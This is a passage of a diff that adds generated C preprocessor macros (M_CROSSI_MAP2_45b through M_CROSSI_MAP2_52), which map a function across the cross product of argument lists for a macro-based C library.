+#define M_CROSSI_MAP2_45b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a36), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a37), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a38), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a39), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a40), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a41), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a42), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a43), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a44), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a45), M_ID blist) 
+#define M_CROSSI_MAP2_46(...) M_CROSSI_MAP2_46b(__VA_ARGS__)
+#define M_CROSSI_MAP2_46b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a36), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a37), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a38), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a39), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a40), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a41), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a42), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a43), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a44), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a45), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a46), M_ID blist) 
+#define M_CROSSI_MAP2_47(...) M_CROSSI_MAP2_47b(__VA_ARGS__)
+#define M_CROSSI_MAP2_47b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a36), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a37), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a38), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a39), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a40), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a41), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a42), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a43), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a44), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a45), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a46), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a47), M_ID blist) 
+#define M_CROSSI_MAP2_48(...) M_CROSSI_MAP2_48b(__VA_ARGS__)
+#define M_CROSSI_MAP2_48b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a36), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a37), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a38), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a39), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a40), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a41), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a42), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a43), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a44), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a45), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a46), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a47), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a48), M_ID blist) 
+#define M_CROSSI_MAP2_49(...) M_CROSSI_MAP2_49b(__VA_ARGS__)
+#define M_CROSSI_MAP2_49b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48, a49) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a36), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a37), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a38), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a39), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a40), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a41), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a42), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a43), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a44), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a45), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a46), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a47), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a48), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a49), M_ID blist) 
+#define M_CROSSI_MAP2_50(...) M_CROSSI_MAP2_50b(__VA_ARGS__)
+#define M_CROSSI_MAP2_50b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48, a49, a50) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a36), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a37), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a38), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a39), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a40), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a41), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a42), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a43), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a44), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a45), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a46), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a47), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a48), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a49), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a50), M_ID blist) 
+#define M_CROSSI_MAP2_51(...) M_CROSSI_MAP2_51b(__VA_ARGS__)
+#define M_CROSSI_MAP2_51b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48, a49, a50, a51) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a36), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a37), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a38), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a39), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a40), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a41), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a42), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a43), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a44), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a45), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a46), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a47), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a48), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a49), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a50), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a51), M_ID blist) 
+#define M_CROSSI_MAP2_52(...) M_CROSSI_MAP2_52b(__VA_ARGS__)
